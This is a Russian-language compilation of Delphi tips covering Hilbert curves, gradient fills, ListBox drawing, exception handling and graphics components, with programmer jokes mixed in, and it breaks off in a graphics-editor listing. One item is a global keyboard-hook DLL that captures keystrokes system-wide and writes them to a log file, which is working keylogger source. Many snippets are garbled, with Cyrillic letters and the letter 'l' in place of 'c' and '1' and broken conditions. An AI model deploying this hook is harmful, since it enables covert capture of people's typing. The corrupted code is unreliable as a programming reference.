  TForml = class(TForm)
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
var
  p: integer = 5; // порядок кривой
  u: integer = 7; // длина штриха
{ Кривую Гильберта можно получить путем
соединения элементов а,b,с и d.
Каждый элемент строит
соответствующая процедура. }
procedure a(i: integer; canvas: TCanvas); forward;
procedure b(i: integer; canvas: TCanvas); forward;
procedure с(i: integer; canvas: TCanvas); forward;
procedure d(i: integer; canvas: TCanvas); forward;
// Элементы кривой
procedure a(i: integer; canvas: TCanvas);
begin
  if i > 0 then
  begin
    d(i - l, canvas);
    canvas.LineTo(canvas.PenPos.X + u, canvas.PenPos.Y);
    a(i - l, canvas);
    canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y + u);
    a(i - l, canvas);
    canvas.LineTo(canvas.PenPos.X - u, canvas.PenPos.Y);
    с(i - 1, canvas);
  end;
end;
procedure b(i: integer; canvas: TCanvas);
begin
  if i > 0 then
  begin
    c(i - l, canvas);
    canvas.LineTo(canvas.PenPos.X - u, canvas.PenPos.Y);
    b(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y - u);
    b(i - l, canvas);
    canvas.LineTo(canvas.PenPos.X + u, canvas.PenPos.Y);
    d(i - l, canvas);
  end;
end;
procedure c(i: integer; canvas: TCanvas);
begin
  if i > 0 then
  begin
    b(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y - u);
    с(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X - u, canvas.PenPos.Y);
    c(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y + u);
    a(i - 1, canvas);
  end;
end;
procedure d(i: integer; canvas: TCanvas);
begin
  if i > 0 then
  begin
    a(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y + u);
    d(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X + u, canvas.PenPos.Y);
    d(i - 1, canvas);
    canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y - u);
    b(i - 1, canvas);
  end;
end;
procedure TForml.FormPaint(Sender: TObject);
begin
  Form1.Canvas.MoveTo(u, u);
  a(5, Form1.Canvas); // вычертить кривую Гильберта
end;
end.

Следует обратить внимание на следующую особенность реализации программы. Процедура, которая вычерчивает элемент а, помимо самой себя (для вычерчивания элемента а кривой более низкого порядка) вызывает процедуры d и ь, описание (текст) которых в тексте программы находится после процедуры а. Чтобы компилятор не вывел сообщение об ошибке, в текст программы помещено объявление процедуры с ключевым словом forward, означающим, что это только объявление, а описание (реализация) находится дальше. Таким образом, уже в процессе компиляции процедуры а, компилятор "знает", что имена ь и d означают процедуры.

Как добавить функции картографирования в приложение.

Автор: Хилл Василий
Билл Гейтс в Мак Дональдсе. Билл: - Мне, пожалуйста, один Биг Мак. Продавец: - Один Биг Мак, одна Кола, вместе 6.99 - Но я просил только Биг Мак! - Кола идет вместе с Маком как часть единого пакета. - Что? За Колу я платить не буду! - И не надо! Кола предоставляется абсолютно бесплатно! - Но ведь один Биг Мак стоил до сих пор 3.99! - Теперь Биг Мак имеет новые возможности! Он поставляется вместе с Колой! - Я только что выпил Колу! Мне не нужна еще одна! - Тогда вам придется отказаться и от Биг Мака. - Ладно, я плачу 3.99 и отказываюсь от Колы. - Вы не можете разделять части пакета! Биг Мак и Кола тесно интегрированы! - Чушь! Мак и Кола - два различных продукта! - Тогда посмотрите (Топит Биг Мак в Коле) - Что вы делаете?! - Это в интересах покупателей! Только так мы можем гарантировать целостность вкуса всех компонентов пакета.

Очень просто, идешь на http://www.dataplus.ru/win/DownLoad.htm и скачиваешь MapObjects LT Evaluation Copy (1,756 Mb) и MapObjects LT samples (3,343 Mb). Все это может работать под Visual Basic, Visual C++, Delphi и PowerBuilder. Ну а если есть деньги то советую MapObjects 2.1 http://www.dataplus.ru/WIN/NEWS/2001/May/MO2.1.htm

Глобальный хук на клаву.

-Как изменится клавиатура для Windows 2005? -На ней появиться правый и левый Reset.
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
  if code< 0 then
   begin
     result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
     Exit;
   end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
    begin
      KeyArray[KeyArrayPtr]:=char(wParam);
      KeyArrayPtr:=KeyArrayPtr+1;
      if KeyArrayPtr> 19 then
       begin
        for i:=0 to 19 do
        begin
          Assignfile(CurFile,'d:\log.txt');
          if fileexists('d:\log.txt')=false then rewrite(CurFile)
          else Append(CurFile);
          write(Curfile, KeyArray[i]);
          closefile(curfile);
        end;
        KeyArrayPtr:=0;
       end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);
    result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;
procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;
exports
 SetupGlobalKeyBoardHook, UnHook;
begin
end.

Глобальный дескриптор исключений.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Although it's easy to catch exceptions using try/except blocks, 
  some applications might benefit from having a global exception handler. 
  For example, you may want your own global exception handler to handle "common" 
  errors such as "divide by zero," "out of space," etc. 
  Thanks to the TApplication's "OnException" event, 
  which occurs when an unhandled exception occurs in your application, 
  you can easily catch the unhandled exceptions. 
  Obowhl es leicht ist, Fehler mittels try/except abzufangen, 
  ist es manchmal von Vorteil, wenn die Anwendung eine eigene globale 
  Fehlerbehandlungsroutine hat. 
  Zum Beispiel zum Abfangen von Fehlern wie "Dividiert durch Null" 
  oder "Zuwenig Speicherplatz" etc. 
  Mit dem OnException Ereignis von TApplication ist es leicht, 
  unbehandelte Fehler in der eigenen Anwendung abzufangen. 
  Jede Exception, die nicht durch einen Try-Except-Block abgefangen wurde, 
  gelangt dann automatisch in die Routine "MyExceptionHandler". 
}
 {1. 
 Declare your custom exception handler: 
 eklariere den eigenen globalen Exception Handler: 
}
 { Public declarations }
 procedure MyExceptionHandler(Sender : TObject; E : Exception );
 {2. 
 Define your exception handler in the "implementation" section: 
 In den Implementations-Abschnitt kommt dieser Code: 
}
 procedure TForm1.MyExceptionHandler(Sender : TObject; E : Exception );
 begin
   MessageDlg('ERROR: ' + E.Message);
 end;
 {3. 
 Assign the created exception handler to your application's OnException event. 
 Weise dem OnException Ereignis den eigenen Exception Handler zu. 
}
 procedure TForm1.FormCreate(Sender: TObject);
 begin
      Application.OnException := MyExceptionHandler;
 end;

Эффективно организовать объявление глобальных переменных.

Оформил: DeeCo

Один из эффективных способов организации глобальных переменных - создать отдельный Unit и в Interface-части объявить все необходимые переменные (и, естесственно, константы ежели таковые имеются). Если теперь в других модулях записать этот Unit в uses раздел, то все глобальные переменные можно использовать в рамках целого проекта (или проектов).

Уменьшение мерцания ListBox в обработчике OwnerDraw.

Автор: Neil Предположим ListBox имеет в своем списке два элемента, элемент 0 имеет фокус, активен другой компонент и вы щелкаете на элементе 1. При этом происходит *ПЯТИКРАТНЫЙ* вызов OnDrawItem, смотрите сами изменения состояний двух элементов:
       Index   State
       0       [odSelected, odFocused]
       0       [odSelected]
       0       []
       1       [odSelected]
       1       [odSelected, odFocused]
В случае единственного элемента в списке ListBox получается конфуз, поскольку при щелчке на нем вы получаете тот же самый сценарий, только вместо двух индексов присутствует один, нулевой.

Имея эту информацию, вы можете минимизировать количество вызовов процедуры отрисовки. Для примера, в не-multi-select ListBox, элемент не нужно отрисовывать, если его состояние = [odSelected], поскольку это состояние всегда сопровождается НЕ selected НЕ focused, или ОДНОВРЕМЕННО selected и focused. В этом вам поможет технология отслеживания в обработчике OnDrawItem предыдущего отрисованного элемента, и если предыдущий запомненный элемент равен текущему, то отрисовывать его необязательно, например:

...
const 
  LastIndex: LongInt = -1;
begin
  IF Index = LastIndex THEN
    ...
  ELSE
    ...
  LastIndex := Index;
end;

Как перейти к указанной записи в БД.

- Вы с компьютером на "ты" или на "вы"? - Я с ним на "е.. твою мать!"
function TBDEDirect.GoToRecord(RecNo: LongInt): Boolean;
var
  RecCount: LongInt;
  Bookmark: TBookmark;
  Res: DBIResult;
begin
  Result := False;
  if CheckDatabase then
  begin
    if RecNo then
      RecNo := 1;
    RecCount := GetRecordCount;
    if RecNo > RecCount then
      RecNo := RecCount;
    Res := DbiSetToRecordNo(FDataLink.DataSource.DataSet.Handle, RecNo);
    if Res = 0 then
    begin
      Bookmark := StrAlloc(GetBookmarkSize);
      DbiGetBookmark(FDataLink.DataSource.DataSet.Handle, Bookmark);
      FDataLink.DataSource.DataSet.GoToBookmark(Bookmark);
      FDataLink.DataSource.DataSet.FreeBookmark(Bookmark);
      Result := True;
    end
    else
      Check(Res);
  end;
end;

Переместиться в конец файла.

{ прыгаем в конец (eof) }
procedure gotoeof (f : file);
begin
  { перемещаемся в начало }
  seek (f, 0);
  { перемещаемся вперед на "x" количество байт,
    в нашем случае это размер файла! }
  seek (f, filesize(f));
end; {gotoeof}

Плавный переход одного цвета в другой.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Плавный переход одного цвета в другой
Две процедуры, служащие для отображения прямоугольников с поавным переходом
цветов. Первая процедура рисует вертикальный переход, вторая - горизонтальный.
Параметры процедур:
Canvas - задаёт графический контекст объекта для рисования
Left, Top, Width, Height - границы закрашиваемого прямоугольника
NonGradientArea - ширина области, закрашиваемой цветом Color1 (см. ниже).
При положительном значении этого параметра, область располагается сверху или
справа, при отрицательном - снизу или слева.
FrameColor - цвет рамки прямоугольника
Color1 - начальный цвет заливки
Color2 - конечный цвет заливки
Зависимости: Windows, SysUtils, Classes, Graphics
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        11 июня 2003 г.
***************************************************** }
function GetColor(Color: Integer): Integer; register;
asm
   cmp eax, 0
   jge @@10
   and eax, 000000FFH
   push eax
   call GetSysColor
@@10:
end;
procedure VDrawGradientRect(Canvas: TCanvas; Left, Top, Width, Height: Integer;
  NonGradientArea: Integer; FrameColor, Color1, Color2: TColor);
var
  Mid: Integer;
  Color: TColor;
  C1: array[0..3] of Byte absolute Color1;
  C2: array[0..3] of Byte absolute Color2;
  C: array[0..3] of Byte absolute Color;
  i, j, X1, Y1, X2, Y2, Y0, L, X11, X21: Integer;
begin
  X1 := Left;
  Y1 := Top;
  X2 := Left + Width;
  Y2 := Top + Height;
  Color1 := GetColor(Color1);
  Color2 := GetColor(Color2);
  with Canvas do
  begin
    if NonGradientArea < 0 then
    begin
      Mid := Y2 + NonGradientArea;
      Y0 := Y1 + 1;
      L := Mid - Y0;
      X11 := X1 + 1;
      X21 := X2 - 1;
      for i := Y1 + 1 to Mid do
      begin
        for j := 0 to 3 do
          C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - Y0), L);
        Pen.Color := Color;
        MoveTo(X11, i);
        LineTo(X21, i);
      end;
      Pen.Style := psClear;
      Brush.Color := Canvas.Pen.Color;
      Rectangle(X1 + 1, Mid, X2, Y2);
    end
    else
    begin
      Mid := NonGradientArea;
      Pen.Style := psSolid;
      Y0 := Y2 - 2;
      L := Mid - Y0;
      X11 := X1 + 1;
      X21 := X2 - 1;
      for i := Y2 - 2 downto Mid do
      begin
        for j := 0 to 3 do
          C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - Y0), L);
        Pen.Color := Color;
        MoveTo(X11, i);
        LineTo(X21, i);
      end;
      Pen.Style := psClear;
      Brush.Color := Canvas.Pen.Color;
      Rectangle(X1 + 1, Y1 + 1, X2, Mid + 1);
    end;
    Pen.Color := FrameColor;
    Pen.Style := psSolid;
    MoveTo(X1, Y1);
    LineTo(X2 - 1, Y1);
    LineTo(X2 - 1, Y2 - 1);
    LineTo(X1, Y2 - 1);
    LineTo(X1, Y1);
  end;
end;
procedure HDrawGradientRect(Canvas: TCanvas; Left, Top, Width, Height: Integer;
  NonGradientArea: Integer; FrameColor, Color1, Color2: TColor);
var
  Mid: Integer;
  Color: TColor;
  C1: array[0..3] of Byte absolute Color1;
  C2: array[0..3] of Byte absolute Color2;
  C: array[0..3] of Byte absolute Color;
  i, j, X1, Y1, X2, Y2, X0, L, Y11, Y21: Integer;
begin
  X1 := Left;
  Y1 := Top;
  X2 := Left + Width;
  Y2 := Top + Height;
  Color1 := GetColor(Color1);
  Color2 := GetColor(Color2);
  with Canvas do
  begin
    if NonGradientArea < 0 then
    begin
      Mid := X2 + NonGradientArea;
      X0 := X1 + 1;
      L := Mid - X0;
      Y11 := Y1 + 1;
      Y21 := Y2 - 1;
      Pen.Style := psSolid;
      for i := X0 to Mid do
      begin
        for j := 0 to 3 do
          C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - X0), L);
        Pen.Color := Color;
        MoveTo(i, Y11);
        LineTo(i, Y21);
      end;
      Pen.Style := psClear;
      Brush.Color := Canvas.Pen.Color;
      Rectangle(Mid, Y11, X2, Y2);
    end
    else
    begin
      Mid := NonGradientArea;
      X0 := X2 - 2;
      L := Mid - X0;
      Y11 := Y1 + 1;
      Y21 := Y2 - 1;
      Pen.Style := psSolid;
      for i := X0 downto Mid do
      begin
        for j := 0 to 3 do
          C[j] := MulDiv(1, C2[j] * (Mid - i) + C1[j] * (i - X0), L);
        Pen.Color := Color;
        MoveTo(i, Y11);
        LineTo(i, Y21);
      end;
      Pen.Style := psClear;
      Brush.Color := Canvas.Pen.Color;
      Rectangle(X1 + 1, Y1 + 1, Mid + 1, Y2);
    end;
    Pen.Color := FrameColor;
    Pen.Style := psSolid;
    MoveTo(X1, Y1);
    LineTo(X2 - 1, Y1);
    LineTo(X2 - 1, Y2 - 1);
    LineTo(X1, Y2 - 1);
    LineTo(X1, Y1);
  end;
end;

Пример использования:

procedure TForm1.FormPaint(Sender: TObject);
begin
  VDrawGradientRect(Canvas, 0, 0, ClientWidth, ClientHeight, 0,
    clBtnFace, clHighlight);
end;

Алгоритм градиентной заливки.

Статьи по Delphi (009)…
Едут в поезде 2 программера и 2 юзера, в разных купе. У программеров 1 билет на двоих, у юзеров по билету на каждого. Когда проходит контроль, программеры бегут в сортир, там запираются. Когда контролер стучит в дверь, они ему через окошко билет просовывают. Алгоритм ясен. Едут обратно тем же составом. У юзеров 1 билет, у программеров ни одного. Когда проходит контроль, юзеры бегут в сортир, там запираются. Программисты стучатся в дверь, оттуда высовывается билет, после чего программисты дружной толпою бегут в другой сортир. Дальше схема ясна. Мораль такова: не каждый алгритм, написанный программером, будет првильно применен юзером.

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем.

(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты, потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

{Считается, что координаты первого цвета
равны (A1, A2, A3), а второго (B1, B2, B3)
Кроме того, линия начинается в координатах
(X1,Y1), а заканчивается в (X2,Y1)}
var
  h, i: integer;
begin
  h:=X2-X1-1;
  for i:=0 to h do
    with PaintBox1.Canvas do
    begin
      Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
      Rectangle(I,Y1,I+1,Y1);
    end;
end.

Создание градиентной заливки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure FillGradientRect(Canvas: TCanvas; Recty: TRect; fbcolor, fecolor: TColor; fcolors: Integer);
 var
   i, j, h, w, fcolor: Integer;
   R, G, B: Longword;
   beginRGBvalue, RGBdifference: array[0..2] of Longword;
 begin
   beginRGBvalue[0] := GetRvalue(colortoRGB(FBcolor));
   beginRGBvalue[1] := GetGvalue(colortoRGB(FBcolor));
   beginRGBvalue[2] := GetBvalue(colortoRGB(FBcolor));
   RGBdifference[0] := GetRvalue(colortoRGB(FEcolor)) - beginRGBvalue[0];
   RGBdifference[1] := GetGvalue(colortoRGB(FEcolor)) - beginRGBvalue[1];
   RGBdifference[2] := GetBvalue(colortoRGB(FEcolor)) - beginRGBvalue[2];
   Canvas.pen.Style := pssolid;
   Canvas.pen.mode := pmcopy;
   j := 0;
   h := recty.Bottom - recty.Top;
   w := recty.Right - recty.Left;
   for i := fcolors downto 0 do
   begin
     recty.Left  := muldiv(i - 1, w, fcolors);
     recty.Right := muldiv(i, w, fcolors);
     if fcolors1 then
     begin
       R := beginRGBvalue[0] + muldiv(j, RGBDifference[0], fcolors);
       G := beginRGBvalue[1] + muldiv(j, RGBDifference[1], fcolors);
       B := beginRGBvalue[2] + muldiv(j, RGBDifference[2], fcolors);
     end;
     Canvas.Brush.Color := RGB(R, G, B);
     patBlt(Canvas.Handle, recty.Left, recty.Top, Recty.Right - recty.Left, h, patcopy);
     Inc(j);
   end;
 end;
 // Case 1 
procedure TForm1.FormPaint(Sender: TObject);
 begin
   FillGradientRect(Form1.Canvas, rect(0, 0, Width, Height), $FF0000, $00000, $00FF);
 end;
 // Case 2 
procedure TForm1.FormPaint(Sender: TObject);
 var
   Row, Ht: Word;
   IX: Integer;
 begin
   iX := 200;
   Ht := (ClientHeight + 512) div 256;
   for Row := 0 to 512 do
   begin
     with Canvas do
     begin
       Brush.Color := RGB(Ix, 0, row);
       FillRect(Rect(0, Row * Ht, ClientWidth, (Row + 1) * Ht));
       IX := (IX - 1);
     end;
   end;
 end;
 { 
  Note, that the OnResize event should also call the FormPaint 
  method if this form is allowed to be resizable. 
  This is because if it is not called then when the 
  window is resized the gradient will not match the rest of the form. 
}
 {***********************************************************}
 {2. Another function}
 procedure TForm1.Gradient(Col1, Col2: TColor; Bmp: TBitmap);
 type
   PixArray = array [1..3] of Byte;
 var
   i, big, rdiv, gdiv, bdiv, h, w: Integer;
   ts: TStringList;
   p: ^PixArray;
 begin
   rdiv := GetRValue(Col1) - GetRValue(Col2);
   gdiv := GetgValue(Col1) - GetgValue(Col2);
   bdiv := GetbValue(Col1) - GetbValue(Col2);
   bmp.PixelFormat := pf24Bit;
   for h := 0 to bmp.Height - 1 do
   begin
     p := bmp.ScanLine[h];
     for w := 0 to bmp.Width - 1 do
     begin
       p^[1] := GetBvalue(Col1) - Round((w / bmp.Width) * bdiv);
       p^[2] := GetGvalue(Col1) - Round((w / bmp.Width) * gdiv);
       p^[3] := GetRvalue(Col1) - Round((w / bmp.Width) * rdiv);
       Inc(p);
     end;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   BitMap1: TBitMap;
 begin
   BitMap1 := TBitMap.Create;
   try
     Bitmap1.Width := 300;
     bitmap1.Height := 100;
     Gradient(clred, clBlack, bitmap1);
     // So konnte man das Bild dann zB in einem TImage anzeigen 
    // To show the image in a TImage: 
    Image1.Picture.Bitmap.Assign(bitmap1);
   finally
     Bitmap1.Free;
   end;
 end;

Компонент градиентной раскраски областей.

Оформил: DeeCo

Автор: Александр Журавлев.

Статьи по Delphi (009)… Как можно увидеть при внимательном рассмотрении, раскраска псевдообъемных фигур производится линейно. Для более правильного воспроизведения интенсивности цвета необходимо ввести тригонометрическую функцию преобразования интенсивности, но это сильно замедлит воспроизведение фигуры. Для ускорения воспроизведения фигур в RunTime можно добавить в компонент преобразование рисунка в Bitmap после окончания режима разработки и далее воспроизводить его как картинку. Компонент реализует градиентную заливку для конуса, цилиндра и сферы. В Design-time настраиваются все основные свойства псевдообъемной фигуры: тип фигуры и ее размер, расположение (кроме сферы), цвет заливки, смещения вершины конуса для получения скошенных и усеченных конусов. Для смены точки освещения и скошенных цилиндров допишете сами, это не сложно. Проект, демонстрирующий градиентную заливку : Исходные коды + exe Figures.zip (156 K) Исходные коды Figures_src.zip (6 K)

Табуляция в графическом ListBox.

Автор: Virtualik

Использование табуляции в ListВох'е когда компонент находится в стандартном режиме не составляет труда. Но что делать если надо использовать графическое отображение элементов списка? Ведь при этом надо самому писать обработчик отрисовки элементов с разбиением на колонки. Элементарное решение - использование API функции TabbedTextOut, однако результаты работы этой функции меня явно не удовлетворили. Пришлось-таки "выкручиваться"... Символ-разделитель можно использовать любой. Например, будем использовать символ "|", тогда обработчик OnDrawItem может выглядеть следующим образом:

procedure TBrowser.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  S, Ss: string;
  P: Integer; // Флаг символа-разделителя
begin
  ListBox1.Canvas.FillRect(Rect);
  //Отрисовка графики
  ...
    //
  S := ListBox1.Items.Strings[Index];
  P := Pos('|', S);
  if P = 0 then
    Ss := S
  else
    // Если нет табуляции, то пишем всю строку,
    // иначе отрезаем кусок до разделителя
    Ss := Copy(S, 1, P - 1);
  ListBox1.Canvas.TextOut(Rect.Left + 20, Rect.Top + 2, Ss);
  if P > 0 then
    ListBox1.Canvas.TextOut(ListBox1.TabWidth, Rect.Top + 2, Copy(S, P + 1,
      Length(S) - P + 2));
end;

Не забудьте перед запуском поставить нужное значение TabWidth.

Компоненты для работы с графикой.

Оформил: DeeCo

Автор: Юрий.

Несколько слов о сути моего материала. Прежде всего, он предназначена для программистов Delphi, работающих с графикой. Представленные компоненты имеют такие возможности, как:

работа с прозрачностью быстрая и гибкая замена необходимых цветов улучшенный компонент TDrawGrid работа с массивами картинок (в т.ч. быстрое восстановление картинки, после того как она была изменена, быстрое сохранение и загрузка картинок, различные процедуры для их обработки (поддерживаются два формата: bmp и jpg) некоторые полезные дополнения, например такие как движущийся текст на неоднородном фоне - полезно для таких случаев, как создание диалогового окна About

А теперь рассмотрим вышеперечисленные пункты немного подробнее. Но для начала, несколько слов о принципах работы этих компонентов. Прежде всего они построены на основе массива объектов типа TBitmap. В 32 битных изображениях цвет кодируется 3 байтами - по одному на синий, зеленый и голубой, плюс добавляется один байт на альфа канал. В этот альфа канал записывается информация о том, следует ли при вставке одной картинки в другую использовать соответствующий пиксель (или игнорировать его). То есть по идее он может принимать два значения: 0 и 1. В этих компонентах использован несколько иной принцип использования альфа канала. Туда записывается число, которое представляет собой коэффициент, используемый при расчете двух пикселей двух различных картинок. То есть, если, скажем альфа канал равен 127, то результирующий пиксель будет являться средним арифметическим двух других пикселей. Значение альфа канала, равное 0 соответствует полной непрозрачности, а равное равное 255 - полной прозрачности вставляемой картинки. Процедура SetAlphaChannel устанавливает заданное значение альфа канала для всех пикселей картинки.

Замена цветов

Также в компонент TGraph добавлено несколько функция для замены цветов. Все эти процедуры работают только с 24 битными рисунками.

procedure ChangeColor(ChangeColorProc: TChangeColorProc;
  Bitmap: TBitmap;
  Color: TColor);
TChangeColorProc = procedure(var R, G, B: Byte);
Наверное, самая простая процедура. Процедура TChangeColorProc вызывается каждый раз при замене очередного пикселя.
procedure ChangeColorEx(Bitmap: TBitmap;
  OldColor, NewColor: TColor;
  ChangingType: TChangingType);
Замена цветом NewColor происходит, когда значение заменяемого пикселя оказывается между значениями OldColor и NewColor если ChangingType = ctEqual, если ChangingType = ctNotEqual, то замена цвета происходит когда значение заменяемого пикселя оказывается вне этого диапазона. Во всех последующих процедурах этот параметр имеет тот же самый смысл, поэтому я не буду описывать его действие.
procedure ChangeColorRange(Bitmap: TBitmap; IntensityRecLo,
  IntensityRecHi, NewIntensityRec: TIntensityRec;
  ChangingType: TChangingType);
TIntensityType = (itRed, itGreen, itBlue);
TIntensityRec = array[TIntensityType] of Byte;
Как видно выше, тип TIntensityRec представляет из себя не что иное, как 24 битный пиксель. Действие этой процедуры аналогично процедуре ChangeColorEx, за исключением того, что эта немного более гибкая, что ли.
procedure ChangeColorRange(Bitmap: TBitmap;
  IntensityType: TIntensityType;
  IntensityLo, IntensityHi: Byte;
  NewIntensityRec: TIntensityRec;
  ChangingType: TChangingType);
Самая быстрая процедура этого типа. Производит замену пикселя по одной из его составляющий: синему, зеленому или красному цвету. Соответственно IntensityLo и IntensityHi это диапазон одного из составляющих цвета пикселей, по границам которого производится замена пикселем NewIntensityRec.

Вот, собственно все процедуры созданные для замены цвета. Вместе они представляют из себя довольно гибкое средство для работы с графикой. Еще одно достоинство - они работают достаточно быстро. Это касается также и других процедур, например на компьютере Pentium Celeron 400 расчет прозрачности двух картинок (обе были (конечно же) 32 битные, размером 1024 на 768) занимал на более 500 миллисекунд.

Скачать пример 1 Компонент TGraphGrid Следующее, что мы рассмотрим, это компонент TGraphGrid, созданный на основе компонента TDrawGrid. Этот компонент способен отображать картинки с текстом. Чтобы картинки отображались в компоненте в порядке из загрузки, следует установить свойство DefaultOrder в True. Вообще, это не лучший способ для отображения картинки. В компоненте TDrawGrid есть свойство:
RefArray: TIntArrayTIntArray = array of Integer;
Оно представляет из себя массив ссылок. Поясню на примере. Пусть у на прорисовывается ячейка к координатами Col = 2, Row = 1, где в компоненте TDrawGrid 10 столбцов. В таком случае индекс ячейки (ее порядковый номер) будет равен 12 (нумерация столбцов и рядов начинается с нуля, с нуля также начинается нумерация индекса ячейки). При этом RefArray[12] = 1. В таком случае в ячейке Col = 2, Row = 1 будет прорисовываться картинку с индексом 1. При отсутствии ссылки не другую ячейку RefArray[N] = -1. В таком случае, при условии DefaultOrder = False в ячейке Col = 2, Row = 1 прорисовывалось бы именно картинка с индексом 12. Для более удобного доступа к массиву ссылок есть свойство:
property Reference[Col, Row: Integer]: TGridCoord;
TGridCoord = record
  Col, Row: Integer;
end;
Для задания переменной типа есть функция:
function GridCoord(Col, Row: Integer): TGridCoord;
Рассмотрим теперь событие, возникающее при прорисовки картинки в ячейке:
TDrawPictureEvent = procedure(Sender: TObject; Rect: TRect;
  Index, Col, Row: Integer;
  var X, Y: Integer; Picture: TBitmap;
  var Background: TBitmap;
  var Continue: Boolean) of object;
Параметры X и Y представляют собой координаты левого верхнего угла картинки (по умолчанию равны 0), которые можно изменять, Picture: собственно, сама картинка, Background картинка, по умолчанию равная nil. Если присвоить этому параметру значение, то картинка Background будет представлять собой фон ячейки. Также, если картинка Background по размерам меньше, ячейки, то она автоматически будет размножена. Также в компоненте TGraphGrid есть ряд свойств, которые, я думаю, объяснять не нужно, так как они интуитивно понятны (например свойство Scale - для автоматического масштабирования картинки и т.д.) Скачать пример 2 (153 K) И, наконец, последний пункт - дополнение в виде движущегося текста. В компоненте TGraph также еще есть одна функция Appearance, но о ней я пока рассказывать не буду.
procedure TGraph.AnimatedText(Canvas: TCanvas;
  Application: TApplication;
  Source: TBitmap;
  List: TStrings;
  Alignment: TAlignment;
  X, Y, Decrement: Integer;
  Delay: LongWord);
Свойство Canvas представляет собой объект типа TCanvas на котором и будет осуществляться прорисовка. Application служит для вызова функции ProcessMessages. Source представляет собой фоновую картинку, Alignment - способ выравнивания текста, X, Y, координаты, по ним определяется границы движения текста, Decrement величина, определяющая через сколько пикселей текст будет перерисован. Delay - соответственно, задержка текста в миллисекундах. Скачать пример 3 (180 K)

Заключение

Если Вам удалось прочитать всю это до конца, то я уверен, Вы сможете найти практическое применение для моих компонентов, а скачать их можно здесь — Graph.zip (11 K).

Графический редактор.

Оформил: DeeCo

Часть 1.

Приложение выполняет следующие функции:

Установка основного и дополнительного цветов. Щелчок на панели цветов левой кнопкой мыши устанавливает основной цвет, а щелчок правой кнопкой – дополнительный. Кисть – кнопка SBBrush. Закрашивает замкнутую область, ограниченныю цветом того пикселя, который указан щелчком мыши. При щелчке левой кнопкой закрашивание производится основным цветом, при щелчке правой кнопкой – вспомогательным. Индикация цвета -кнопка SBColor. В этом режиме можно указать курсором мыши любой пиксель на изображении и, щелкнув левой кнопкой, установить цвет этого пикселя как основной, а щелкнув правой кнопкой мыши, установитьего как вспомогательный цвет. Отмена операций, выполненных последним использованным инструментом – команда Правка|Отменить. Открытие графического файла – команда Файл|Открыть (MOpenClick). Вставка графического изображения типа битовой матрицы
Статьи по Delphi (009)…
SpeedButton: SBBrush, SBColor;
GroupIndex := 1;
AllowAllUp := true;
Glyph := ..\Images\Butons\brush.bmp;
Glyph := ..\Images\Butons\one2one.bmp;
Последовательность проектирования: ;
1. Заполнить форму;
2. var
  Bitmap: TBitMap;
  3. Form OnCreate;
  4. Form OnDestroy;
  5. MOpenClick;
  6. UndoClick;
  7. SBBrushClick и SBColor(запоминает текущий вид изображения);
  8. Image3MouseDown и копировать в Image4 MouseDown;
unit UGraphEdit;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, Buttons, ExtCtrls, Menus, ExtDlgs;
type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    Image4: TImage;
    SBBrush: TSpeedButton;
    SBColor: TSpeedButton;
    OpenPictureDialog1: TOpenPictureDialog;
    MainMenu1: TMainMenu;
    N1: TMenuItem;
